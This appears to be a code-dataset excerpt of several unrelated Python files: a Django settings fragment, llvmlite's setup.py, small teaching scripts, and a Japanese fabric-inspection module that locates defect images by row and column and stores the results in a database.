DEFAULT_CACHE\n}\n\n#=============================================================================\n# Email\n#=============================================================================\n\nADMINS = (\n ('LL', 'info@lincolnloop.com'),\n)\nEMAIL_SUBJECT_PREFIX = \"[BBME] \"\n\nif 'SMTP_URL' in os.environ:\n url = urlparse.urlparse(os.environ['SMTP_URL'])\n EMAIL_HOST = url.hostname\n EMAIL_HOST_USER = url.username\n EMAIL_HOST_PASSWORD = url.password\n EMAIL_PORT = url.port or 25\n EMAIL_USE_TLS = ast.literal_eval(os.environ.get('SMTP_TLS', 'False'))\nelse:\n EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\n#==============================================================================\n# Miscellaneous project settings\n#==============================================================================\n\n# Above this many users is considered a big channel, display is different\nBIG_CHANNEL = 25\n# Nicks requested to be excluded from logging\nEXCLUDE_NICKS = os.environ.get('EXCLUDE_NICKS', '').split(',')\nif EXCLUDE_NICKS == ['']:\n EXCLUDE_NICKS = []\n\nREDIS_PLUGIN_QUEUE_URL = os.environ.get('REDIS_PLUGIN_QUEUE_URL',\n 'redis://localhost:6379/0')\nREDIS_PLUGIN_STORAGE_URL = os.environ.get('REDIS_PLUGIN_STORAGE_URL',\n 'redis://localhost:6379/1')\nREDIS_SSE_URL = os.environ.get('REDIS_SSEQUEUE_URL',\n 'redis://localhost:6379/2')\n# Life span of auth token for realtime endpoint in seconds\nTOKEN_TTL = 120\nSSE_ENDPOINT = os.environ.get('SSE_URL', 'http://localhost:5300') + '/push/{token}'\n\n#==============================================================================\n# Third party app settings\n#==============================================================================\n\nSOUTH_DATABASE_ADAPTERS = {'default': 'south.db.postgresql_psycopg2'}\n\nSOCIAL_AUTH_USER_MODEL = AUTH_USER_MODEL\nSOCIAL_AUTH_PROTECTED_USER_FIELDS = ['email']\nSOCIAL_AUTH_DEFAULT_USERNAME = 'user'\nSOCIAL_AUTH_ASSOCIATE_BY_MAIL = True\nSOCIAL_AUTH_NEW_USER_REDIRECT_URL = '/accounts/manage/'\nSOCIAL_AUTH_LOGIN_ERROR_URL = '/accounts/login/?error'\nSOCIAL_AUTH_PIPELINE = (\n 'social.pipeline.social_auth.social_details',\n 'social.pipeline.social_auth.social_uid',\n 'social.pipeline.social_auth.auth_allowed',\n 'social.pipeline.social_auth.social_user',\n #'social.pipeline.user.get_username',\n #'social.pipeline.user.create_user',\n 'social.pipeline.social_auth.associate_by_email',\n 'social.pipeline.social_auth.load_extra_data',\n 'social.pipeline.user.user_details'\n)\n","sub_path":"botbot/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"181421059","text":"\nfrom qtido import *\n\nimport sys\n\ndef principale():\n\n print(\"Bienvenu dans\", sys.argv[0])\n print(\"------------------------------\")\n\n qui = sys.argv[1]\n print(\"Bonjour\", qui)\n\n if len(sys.argv) > 2:\n n = int(sys.argv[2])\n for i in range(n):\n print(i+1, \"cool\")\n\nprincipale()\n\n","sub_path":"S2/outils-info/TP/tp6/debut2.py","file_name":"debut2.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"528888323","text":"try:\n from setuptools import setup, Extension\nexcept ImportError:\n from distutils.core import setup, Extension\n\nfrom distutils.spawn import spawn\nfrom distutils.command.build import build\nfrom distutils.command.build_ext import build_ext\nimport os\nimport sys\n\nfrom llvmlite.utils import get_library_name\n\n\nhere_dir = os.path.dirname(__file__)\n\n\nclass LlvmliteBuild(build):\n\n def finalize_options(self):\n build.finalize_options(self)\n # The build isn't platform-independent\n if self.build_lib == self.build_purelib:\n self.build_lib = self.build_platlib\n\n def get_sub_commands(self):\n # Force \"build_ext\" invocation.\n commands = build.get_sub_commands(self)\n for c in commands:\n if c == 'build_ext':\n return commands\n return ['build_ext'] + commands\n\n\nclass LlvmliteBuildExt(build_ext):\n\n def run(self):\n build_ext.run(self)\n cmd = [sys.executable, os.path.join(here_dir, 'ffi', 'build.py')]\n spawn(cmd, dry_run=self.dry_run)\n # HACK: this makes sure the library file (which is large) is only\n # included in binary builds, not source builds.\n library_name = get_library_name()\n self.distribution.package_data = {\n \"llvmlite.binding\": [get_library_name()],\n }\n\n\npackages = ['llvmlite',\n 'llvmlite.binding',\n 'llvmlite.ir',\n 'llvmlite.llvmpy',\n 'llvmlite.tests',\n ]\n\nsetup(name='llvmlite',\n description=\"lightweight wrapper around basic LLVM functionality\",\n version=\"0.1\",\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3.3\",\n \"Programming Language :: Python :: 3.4\",\n \"Topic :: Software Development :: Code Generators\",\n \"Topic :: Software Development :: Compilers\",\n ],\n # Include the separately-compiled shared library\n author=\"Continuum Analytics, Inc.\",\n author_email=\"numba-users@continuum.io\",\n url=\"https://github.com/numba/llvmlite\",\n packages=packages,\n license=\"BSD\",\n cmdclass={'build': LlvmliteBuild,\n 'build_ext': LlvmliteBuildExt,\n },\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"288781549","text":"#!/usr/bin/python3\n#\n# template for console programs and modules.\n#\n# function syntax:\n#\n# def functionName(arguments):\n# suite\n#\n# unless a return statement is used, then the default return value\n# from a functions is None.\n#\n# one or more than one value can be returned (tuple of values for more\n# than one value)\n#\n# get an integer from a user\n#\nimport sys\n#\nprint(\"sum these numbers: \", sys.argv)\n#\ntotal = 0\ncount = 0\n#\nfor number in sys.argv:\n try:\n total += int(number)\n count += 1\n except ValueError:\n continue\n#\nif count:\n print(\"count = \", count, \", total = \", total, \", mean = \", total/count)\n#\nexit(0);\n\n","sub_path":"books/programming_in_python_3/mine/ch1/ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"489846755","text":"# -*- coding: SJIS -*-\r\n# NG行列判定機能\r\n#\r\nimport configparser\r\nimport logging.config\r\nimport re\r\nimport sys\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\nimport db_util\r\nimport error_detail\r\n\r\n# ログ設定取得\r\nlogging.config.fileConfig(\"D:/CI/programs/config/logging_register_ng_info.conf\")\r\nlogger = logging.getLogger(\"register_ng_info\")\r\n\r\n# 設定ファイル読み込み(共通設定)\r\ncommon_inifile = configparser.ConfigParser()\r\ncommon_inifile.read('D:/CI/programs/config/common_config.ini', 'SJIS')\r\n\r\n# 設定ファイル読み込み\r\ninifile = configparser.ConfigParser()\r\ninifile.read('D:/CI/programs/config/register_ng_info_config.ini', 'SJIS')\r\n\r\n# ログに使用する機能ID,機能名を取得する\r\napp_id = int(inifile.get('APP', 'app_id'))\r\napp_name = inifile.get('APP', 'app_name')\r\n\r\n#\r\n\r\nmaster_data_dict = {'file_num': 0, 'register_flg': 1, 'selection_flg': 2, 'product_name': 3,\r\n 'inspection_param_num': 4, 'airbag_imagepath': 5, 'length': 6, 'width': 7,\r\n 'marker_color_flat': 8, 'marker_color_back': 9, 'auto_print': 10, 'auto_inspection_stop': 11,\r\n 'regimark_1_imagepath': 12, 'regimark_1_point_x': 13, 'regimark_1_point_y': 14,\r\n 'regimark_1_size_w': 15, 'regimark_1_size_h': 16, 'regimark_2_imagepath': 17,\r\n 'regimark_2_point_x': 18, 'regimark_2_point_y': 19, 'regimark_2_size_w': 20,\r\n 'regimark_2_size_h': 21, 'base_point_1_x': 22, 'base_point_1_y': 23, 'base_point_2_x': 24,\r\n 'base_point_2_y': 25, 'base_point_3_x': 26, 'base_point_3_y': 27, 'base_point_4_x': 28,\r\n 'base_point_4_y': 29, 'base_point_5_x': 30, 'base_point_5_y': 31,\r\n 'point_1_plus_direction_x': 32, 'point_1_plus_direction_y': 33, 'point_2_plus_direction_x': 34,\r\n 'point_2_plus_direction_y': 35, 'point_3_plus_direction_x': 36, 'point_3_plus_direction_y': 37,\r\n 'point_4_plus_direction_x': 38, 'point_4_plus_direction_y': 39, 'point_5_plus_direction_x': 40,\r\n 'point_5_plus_direction_y': 41, 'stretch_rate_x': 42, 'stretch_rate_y': 43,\r\n 'stretch_rate_x_upd': 44, 'stretch_rate_y_upd': 45, 'regimark_3_imagepath': 46,\r\n 'regimark_4_imagepath': 47, 'stretch_rate_auto_calc_flg': 48, 'width_coefficient': 49,\r\n 'correct_value': 50, 'black_thread_cnt_per_line': 51, 'measuring_black_thread_num': 52,\r\n 'camera_num': 53, 'column_cnt': 54, 'illumination_information': 55,\r\n 'start_regimark_camera_num': 56, 'end_regimark_camera_num': 57, 'line_length': 58,\r\n 'regimark_between_length': 59, 'taking_camera_cnt': 60, 'column_threshold_01': 61,\r\n 'column_threshold_02': 62, 'column_threshold_03': 63, 'column_threshold_04': 64,\r\n 'line_threshold_a1': 65, 'line_threshold_a2': 66, 'line_threshold_b1': 67,\r\n 'line_threshold_b2': 68, 'line_threshold_c1': 69, 'line_threshold_c2': 70,\r\n 'line_threshold_d1': 71, 'line_threshold_d2': 72, 'line_threshold_e1': 73,\r\n 'line_threshold_e2': 74, 'top_point_a': 75, 'top_point_b': 76, 'top_point_c': 77,\r\n 'top_point_d': 78, 'top_point_e': 79, 'ai_model_non_inspection_flg': 80, 'ai_model_name': 81}\r\n\r\nline_name_dict = {1: 'A', 2: 'B', 3: 'C', 4: 'D', 5: 'E'}\r\nline_num_dict = {'A': 1, 'B': 2, 'C': 3, 'D': 4, 'E': 5}\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 関数名 :DB接続\r\n#\r\n# 処理概要 :1.DBと接続する\r\n#\r\n# 引数 :機能ID\r\n# 機能名\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# ------------------------------------------------------------------------------------\r\ndef create_connection(logger):\r\n func_name = sys._getframe().f_code.co_name\r\n result, error, conn, cur = db_util.create_connection(logger, app_id, app_name)\r\n return result, error, conn, cur, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :レジマーク情報取得\r\n#\r\n# 処理概要 :1.レジマーク情報テーブルから処理対象反番、検査番号のレジマーク情報を取得する。\r\n#\r\n# 引数 :コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# 反番\r\n# 検査番号\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# レジマーク情報(行番号、開始レジマーク画像名、開始レジマーク座標、終了レジマーク画像名、終了レジマーク座標)\r\n# コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# ------------------------------------------------------------------------------------\r\ndef select_regimark_info(conn, cur, fabric_name, inspection_num, imaging_starttime, unit_num, logger):\r\n func_name = sys._getframe().f_code.co_name\r\n ### クエリを作成する\r\n sql = 'select line_num, start_regimark_file, start_regimark_point_resize, end_regimark_file, ' \\\r\n 'end_regimark_point_resize, len_stretchrate, width_stretchrate, face from regimark_info where fabric_name = \\'%s\\' and inspection_num = %s ' \\\r\n 'and imaging_starttime = \\'%s\\' and unit_num = \\'%s\\'' \\\r\n % (fabric_name, inspection_num, imaging_starttime, unit_num)\r\n\r\n logger.debug('[%s:%s] レジマーク情報取得SQL %s' % (app_id, app_name, sql))\r\n # DB共通処理を呼び出して、処理ステータステーブルと反物情報テ���ブルからデータを取得する。\r\n result, select_result, error, conn, cur = db_util.select_fetchall(conn, cur, sql, logger, app_id, app_name)\r\n return result, select_result, error, conn, cur, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :検査マスタ情報取得\r\n#\r\n# 処理概要 :1.品種登録情報テーブルからマスタ情報を取得する。\r\n#\r\n# 引数 :コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# 品名\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# マスタ情報\r\n# コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# ------------------------------------------------------------------------------------\r\ndef select_product_master_info(conn, cur, product_name, logger):\r\n func_name = sys._getframe().f_code.co_name\r\n ### クエリを作成する\r\n sql = 'select * from mst_product_info where product_name = \\'%s\\' ' % product_name\r\n\r\n logger.debug('[%s:%s] 検査マスタ情報取得SQL %s' % (app_id, app_name, sql))\r\n # DB共通処理を呼び出して、品種登録情報テーブルからマスタ情報を取得する。\r\n result, select_result, error, conn, cur = db_util.select_fetchone(conn, cur, sql, logger, app_id, app_name)\r\n return result, select_result, error, conn, cur, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :NG情報登録\r\n#\r\n# 処理概要 :1.品種登録情報テーブルからマスタ情報を取得する。\r\n#\r\n# 引数 :コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# 反番\r\n# 検査番号\r\n# NG行\r\n# NG列\r\n# マスタ座標\r\n# 基準点からの距離(X)\r\n# 基準点からの距離(Y)\r\n# 連番\r\n# NG画像名\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# コネクションオブジェクト\r\n# カーソルオブジェクト\r\n# ------------------------------------------------------------------------------------\r\ndef update_ng_info(conn, cur, fabric_name, inspection_num, ng_line, ng_colum, master_point, ng_distance_x,\r\n ng_distance_y, num, ng_file, undetected_image_flag_is_undetected, inspection_date, unit_num, logger):\r\n inspection_num = str(int(inspection_num))\r\n func_name = sys._getframe().f_code.co_name\r\n ### クエリを作成する\r\n if undetected_image_flag_is_undetected == 1:\r\n sql = 'update \\\"rapid_%s_%s_%s\\\" set ng_line = %s, columns = \\'%s\\', master_point = \\'%s\\', ' \\\r\n 'ng_distance_x = %s, ng_distance_y = %s where ng_image = \\'%s\\' and unit_num = \\'%s\\'' \\\r\n % (fabric_name, inspection_num, inspection_date, ng_line, ng_colum, master_point,\r\n ng_distance_x, ng_distance_y, ng_file, unit_num)\r\n\r\n elif undetected_image_flag_is_undetected == 2:\r\n sql = 'update \\\"rapid_%s_%s_%s\\\" set ng_line = %s, columns = \\'%s\\', master_point = \\'%s\\', ' \\\r\n 'ng_distance_x = %s, ng_distance_y = %s where unti_num = \\'%s\\'' \\\r\n % (fabric_name, inspection_num, inspection_date, ng_line, ng_colum, master_point,\r\n ng_distance_x, ng_distance_y, unit_num)\r\n else:\r\n sql = 'update \\\"rapid_%s_%s_%s\\\" set ng_line = %s, columns = \\'%s\\', master_point = \\'%s\\', ' \\\r\n 'ng_distance_x = %s, ng_distance_y = %s where num = %s and ng_image = \\'%s\\' and unit_num = \\'%s\\'' \\\r\n % (fabric_name, inspection_num, inspection_date, ng_line, ng_colum, master_point, ng_distance_x,\r\n ng_distance_y, num, ng_file, unit_num)\r\n\r\n logger.debug('[%s:%s] NG情報登録SQL %s' % (app_id, app_name, sql))\r\n # DB共通処理を呼び出して、品種登録情報テーブルからマスタ情報を取得する。\r\n result, error, conn, cur = db_util.operate_data(conn, cur, sql, logger, app_id, app_name)\r\n return result, error, conn, cur, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 関数名 :DB切断\r\n#\r\n# 処理概要 :1.DBとの接続を切断する\r\n#\r\n# 引数 :コネクションオブジェクト\r\n# カーソルオブジェクト\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# ------------------------------------------------------------------------------------\r\ndef close_connection(conn, cur, logger):\r\n func_name = sys._getframe().f_code.co_name\r\n result, error = db_util.close_connection(conn, cur, logger, app_id, app_name)\r\n return result, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :NG画像該当行特定\r\n#\r\n# 処理概要 :1.開始レジマーク画像名とNG画像名の撮像番号を比較し、該当行番号を特定する。\r\n# 2.該当行番号のレジマーク情報と該当行数+1の行番号のレジマークを抽出する。\r\n#\r\n# 引数 :レジマーク情報\r\n# NG画像名\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# NG行レジマーク情報\r\n# ------------------------------------------------------------------------------------\r\ndef specific_line_num(regimark_info, ng_file, inspection_direction, logger):\r\n result = False\r\n line_info = None\r\n last_flag = 0\r\n func_name = sys._getframe().f_code.co_name\r\n error = None\r\n try:\r\n # 画像名の撮像番号から該当行番号を特定するため、画像名を[._]で分割する。\r\n sp_ng_file = re.split('[_.]', ng_file[1])\r\n sp_ng_file.append(ng_file[2])\r\n ng_face = int(sp_ng_file[4])\r\n\r\n logger.debug('[%s:%s] レジマーク情報 %s' % (app_id, app_name, regimark_info))\r\n logger.debug('[%s:%s] NG画像情報 %s, 検査方向 %s' % (app_id, app_name, sp_ng_file, inspection_direction))\r\n\r\n if inspection_direction[0] == 'S' or inspection_direction[0] == 'X':\r\n sp_regimark_file = [[x[:][0]] + re.split('[._]', x[:][1]) for x in regimark_info if\r\n (int(sp_ng_file[6]) >= int(re.split('[._]', x[:][1])[6])) and ng_face == int(x[:][7])]\r\n logger.debug('[%s:%s] S・X方向 スプリットレジマーク情報 %s' % (app_id, app_name, sp_regimark_file))\r\n\r\n if len(sp_regimark_file) == 0:\r\n result = 'error'\r\n return result, line_info, last_flag, error, func_name\r\n else:\r\n pass\r\n\r\n # NG画像の撮像番号以下の最大値を該当行の開始レジマーク画像として特定する。\r\n line_num_index = max([int(y[7]) for y in sp_regimark_file])\r\n line_num = int([z[0] for z in sp_regimark_file if line_num_index == int(z[:][7])][0])\r\n line_info = sorted([i for i in regimark_info if\r\n ((line_num == i[:][0]) or ((line_num + 1) == i[:][0])) and ng_face == int(i[:][7])])\r\n last_flag = 0\r\n\r\n if len(line_info) == 1:\r\n line_info = sorted([i for i in regimark_info if\r\n ((line_num == i[:][0]) or ((line_num -1) == i[:][0])) and ng_face == int(i[:][7])])\r\n last_flag = 1\r\n else:\r\n pass\r\n\r\n else:\r\n sp_regimark_file = [[x[:][0]] + re.split('[._]', x[:][3]) for x in regimark_info if\r\n (int(sp_ng_file[6]) >= int(re.split('[._]', x[:][3])[6])) and ng_face == int(x[:][7])]\r\n logger.debug('[%s:%s] スプリットレジマーク情報 %s' % (app_id, app_name, sp_ng_file))\r\n\r\n if len(sp_regimark_file) == 0:\r\n result = 'error'\r\n return result, line_info, last_flag, error, func_name\r\n else:\r\n pass\r\n\r\n # NG画像の撮像番号以下の最大値を該当行の開始レジマーク画像として特定する。\r\n line_num_index = max([int(y[7]) for y in sp_regimark_file])\r\n line_num = int([z[0] for z in sp_regimark_file if line_num_index == int(z[:][7])][0])\r\n line_info = sorted([i for i in regimark_info if\r\n ((line_num == i[:][0]) or ((line_num - 1) == i[:][0])) and ng_face == int(i[:][7])],\r\n reverse=True)\r\n last_flag = 0\r\n\r\n if len(line_info) == 1:\r\n line_info = sorted([i for i in regimark_info if\r\n ((line_num == i[:][0]) or ((line_num + 1) == i[:][0])) and ng_face == int(i[:][7])], reverse=True)\r\n last_flag = 1\r\n else:\r\n pass\r\n\r\n result = True\r\n\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, line_info, last_flag, error, func_name\r\n\r\n return result, line_info, last_flag, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 関数名 :��像画像とマスタ画像の行・列の長さの比率算出\r\n#\r\n# 処理概要 :1.レジマーク間長さ/レジマーク間幅の撮像枚数を算出する。\r\n# 2.撮像画像上のレジマーク間長さ[pix]・レジマーク間幅[pix]を算出する。\r\n# 3.マスタ画像上のレジマーク間長さ[pix]を算出する。\r\n# 4.撮像画像とマスタ画像のレジマーク間長さ・レジマーク間幅の比率を算出する。\r\n#\r\n# 引数 :レジマーク情報\r\n# オーバーラップ除外分1撮像画像の幅(X方向長さ)\r\n# オーバーラップ除外分1撮像画像の高さ(Y方向長さ)\r\n# オーバーラップ分の幅(X方向長さ)\r\n# オーバーラップ分の高さ(Y方向長さ)\r\n# リサイズ後画像の幅(X方向長さ)\r\n# リサイズ後画像の高さ(Y方向長さ)\r\n# マスタ情報\r\n# マスタ画像の幅(X方向長さ)\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# 長さ比率\r\n# 幅比率\r\n# 設定レジマーク間長さ[pix]\r\n#\r\n# ------------------------------------------------------------------------------------\r\ndef calc_length_ratio(regimark_info, line_info, nonoverlap_image_height_pix,\r\n overlap_height_pix, resize_image_height, mst_data, master_image_width,\r\n actual_image_height, inspection_direction, logger):\r\n result = False\r\n regimark_length_ratio = None\r\n regimark_width_ratio = None\r\n conf_regimark_between_length_pix = None\r\n error = None\r\n func_name = sys._getframe().f_code.co_name\r\n try:\r\n # マスタ情報から必要な情報を取得する。※カラム数が多いためマスタ情報辞書を利用して情報を取得する。\r\n conf_regimark_between_length = int(mst_data[master_data_dict['regimark_between_length']])\r\n length = int(mst_data[master_data_dict['length']])\r\n regimark_1_point_y = int(mst_data[master_data_dict['regimark_1_point_y']])\r\n regimark_2_point_y = int(mst_data[master_data_dict['regimark_2_point_y']])\r\n\r\n ng_face = int(line_info[0][5])\r\n # マスタ画像幅[pix]:マスタ画像実測幅[mm]=X:設定レジマーク間長さ[mm]\r\n conf_regimark_between_length_pix = master_image_width * conf_regimark_between_length / length\r\n\r\n # NG画像が含まれる行情報は以下形式で取得\r\n # [(1, 'S354_380613-0AC_20191120_01_1_01_00001.jpg', '(619,646)',\r\n # 'S354_380613-0AC_20191120_01_1_01_00010.jpg', '(619,646)', '1'),\r\n # (2, 'S354_380613-0AC_20191120_01_1_01_00011.jpg', '(619,646)',\r\n # 'S354_380613-0AC_20191120_01_1_01_00020.jpg', '(619,646)', '1')]\r\n # 検査方向が S, Xの場合、開始レジマーク、次行開始レジマークの撮像番号、座標を抽出する。\r\n if len(regimark_info) != 1 and len(line_info) == 2:\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n # 行番号、開始レジマークファイル名、座標が必要。\r\n sp_regimark_list = [[x[0]] + re.split('[._]', x[:][1]) + [x[2]] + [x[3]] + [x[4]]\r\n for x in line_info]\r\n start_image_num = int(sp_regimark_list[0][7])\r\n start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[0][9])))[1])\r\n\r\n next_start_image_num = int(sp_regimark_list[1][7])\r\n next_start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[1][9])))[1])\r\n\r\n # 検査方向が Y, Rの場合、終了レジマーク、次行終了レジマークの撮像番号、座標を抽出する。\r\n else:\r\n sp_regimark_list = [[x[0]] + [x[1]] + [x[2]] + re.split('[._]', x[:][3]) + [x[4]]\r\n for x in line_info]\r\n print(sp_regimark_list)\r\n\r\n start_image_num = int(sp_regimark_list[0][9])\r\n start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[0][11])))[1])\r\n\r\n next_start_image_num = int(sp_regimark_list[1][9])\r\n next_start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[1][11])))[1])\r\n\r\n # 開始-次行開始間長さ、開始-終了間幅の撮像枚数を算出する。\r\n if start_image_num != next_start_image_num:\r\n start_between_x_image_count = abs(next_start_image_num - start_image_num) - 1\r\n else:\r\n start_between_x_image_count = 0\r\n\r\n # 撮像枚数×1撮像画像の高さ(オーバーラップ除外分)+(リサイズ画像高さ-[開始レジマークy座標]-[オーバーラップ分高さ])+[次行開始レジマークy座標]\r\n start_regimark_x_pix = start_between_x_image_count * nonoverlap_image_height_pix + (\r\n resize_image_height - start_regimark_y - overlap_height_pix) + next_start_regimark_y\r\n\r\n # 比率算出\r\n regimark_length_ratio = start_regimark_x_pix / conf_regimark_between_length_pix\r\n\r\n else:\r\n stretch_rate_x = float(mst_data[master_data_dict['stretch_rate_x']])\r\n regimark_x_pix = (conf_regimark_between_length * (\r\n stretch_rate_x / 100)) * resize_image_height / actual_image_height\r\n regimark_length_ratio = regimark_x_pix / conf_regimark_between_length_pix\r\n\r\n result = True\r\n\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, regimark_length_ratio, conf_regimark_between_length_pix, error, func_name\r\n\r\n return result, regimark_length_ratio, conf_regimark_between_length_pix, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :NG位置特定\r\n#\r\n# 処理概要 :1.開始レジマーク画像名とNG画像名の撮像番号を比較し、該当行番号を特定する。\r\n#\r\n# 引数 :レジマーク情報\r\n# NG画像情報\r\n# オーバーラップ除外分1撮像画像の幅(X方向長さ)\r\n# オーバーラップ除外分1撮像画像の高さ(Y方向長さ)\r\n# オーバーラップ分の幅(X方向長さ)\r\n# オーバーラップ分の高さ(Y方向長さ)\r\n# リサイズ後画像の幅(X方向長さ)\r\n# リサイズ後画像の高さ(Y方向長さ)\r\n# レジマーク間長さ比率\r\n# レジマーク間幅比率\r\n# マスタ情報\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# マスタ画像上のNG座標(X座標)\r\n# マスタ画像上のNG座標(Y座標)\r\n#\r\n# ------------------------------------------------------------------------------------\r\ndef specific_ng_point(line_info, ng_image_info, nonoverlap_image_width_pix, nonoverlap_image_height_pix,\r\n overlap_width_pix, overlap_height_pix, resize_image_height, resize_image_width,\r\n regimark_length_ratio, mst_data, inspection_direction, master_image_width,\r\n master_image_height, actual_image_width, actual_image_overlap, last_flag, logger):\r\n result = False\r\n length_on_master = None\r\n width_on_master = None\r\n plus_direction = None\r\n ng_face = None\r\n error = None\r\n func_name = sys._getframe().f_code.co_name\r\n\r\n try:\r\n # マスタ情報から必要な情報を取得する。※カラム数が多いためマスタ情報辞書を利用して情報を取得する。\r\n regimark_1_point_x = int(mst_data[master_data_dict['regimark_1_point_x']])\r\n regimark_2_point_x = int(mst_data[master_data_dict['regimark_2_point_x']])\r\n regimark_1_point_y = int(mst_data[master_data_dict['regimark_1_point_y']])\r\n regimark_2_point_y = int(mst_data[master_data_dict['regimark_2_point_y']])\r\n master_width = int(mst_data[master_data_dict['width']])\r\n \r\n if last_flag == 0:\r\n line_info_num = 0\r\n else:\r\n if len(line_info) == 1:\r\n line_info_num = 0\r\n else:\r\n line_info_num = 1\r\n\r\n stretch_rate_x = float(line_info[line_info_num][5])\r\n stretch_rate_y = float(line_info[line_info_num][6])\r\n # 開始レジマークの撮像番号、座標を抽出する。\r\n sp_ng_file = re.split('[_.]', ng_image_info[1]) + [ng_image_info[2]]\r\n ng_face = int(sp_ng_file[4])\r\n\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n logger.debug('[%s:%s] 検査方向S or X' % (app_id, app_name))\r\n sp_regimark_list = [[x[0]] + re.split('[._]', x[:][1]) + [x[2]] + [x[3]] + [x[4]]\r\n for x in line_info]\r\n\r\n start_image_num = int(sp_regimark_list[line_info_num][7])\r\n start_regimark_x = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[line_info_num][9])))[0])\r\n start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[line_info_num][9])))[1])\r\n start_camera_num = int(sp_regimark_list[line_info_num][6])\r\n\r\n regimark_x = regimark_1_point_x\r\n\r\n if inspection_direction == 'S' and ng_face == 2:\r\n logger.debug('[%s:%s] 検査方向S 検反部2' % (app_id, app_name))\r\n regimark_y = master_image_height - regimark_1_point_y\r\n elif inspection_direction == 'X' and ng_face == 1:\r\n logger.debug('[%s:%s] 検査方向X 検反部1' % (app_id, app_name))\r\n regimark_y = master_image_height - regimark_1_point_y\r\n else:\r\n regimark_y = regimark_1_point_y\r\n\r\n else:\r\n logger.debug('[%s:%s] 検査方向Y or R' % (app_id, app_name))\r\n sp_regimark_list = [[x[0]] + [x[1]] + [x[2]] + re.split('[._]', x[:][3]) + [x[4]]\r\n for x in line_info]\r\n\r\n start_image_num = int(sp_regimark_list[line_info_num][9])\r\n start_regimark_x = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[line_info_num][11])))[0])\r\n start_regimark_y = int(re.split(',', (re.sub('[()]', '', sp_regimark_list[line_info_num][11])))[1])\r\n start_camera_num = int(sp_regimark_list[line_info_num][8])\r\n\r\n regimark_x = master_image_width - regimark_2_point_x\r\n\r\n if inspection_direction == 'Y' and ng_face == 2:\r\n logger.debug('[%s:%s] 検査方向Y 検反部2' % (app_id, app_name))\r\n regimark_y = master_image_height - regimark_2_point_y\r\n elif inspection_direction == 'R' and ng_face == 1:\r\n logger.debug('[%s:%s] 検査方向R 検反部1' % (app_id, app_name))\r\n regimark_y = master_image_height - regimark_2_point_y\r\n else:\r\n regimark_y = regimark_2_point_y\r\n\r\n ng_image_num = int(sp_ng_file[6])\r\n ng_x = int(re.split(',', (re.sub('[()]', '', sp_ng_file[8])))[0])\r\n ng_y = int(re.split(',', (re.sub('[()]', '', sp_ng_file[8])))[1])\r\n\r\n ng_camera_num = int(sp_ng_file[5])\r\n\r\n if ng_image_num == start_image_num:\r\n logger.debug('[%s:%s] 撮像番号等しい' % (app_id, app_name))\r\n ng_x_pix = abs(start_regimark_y - ng_y)\r\n if start_regimark_y < ng_y:\r\n x_plus_direction = 1\r\n else:\r\n x_plus_direction = -1\r\n else:\r\n between_x_image_count = ng_image_num - start_image_num - 1\r\n # 撮像枚数×1撮像画像の高さ(オーバーラップ除外分)+(リサイズ画像高さ-[開始レジマークy座標]-[オーバーラップ分高さ])+[NG画像y座標]\r\n ng_x_pix = between_x_image_count * nonoverlap_image_height_pix + (\r\n resize_image_height - start_regimark_y - overlap_height_pix) + ng_y\r\n x_plus_direction = 1\r\n\r\n if start_camera_num == 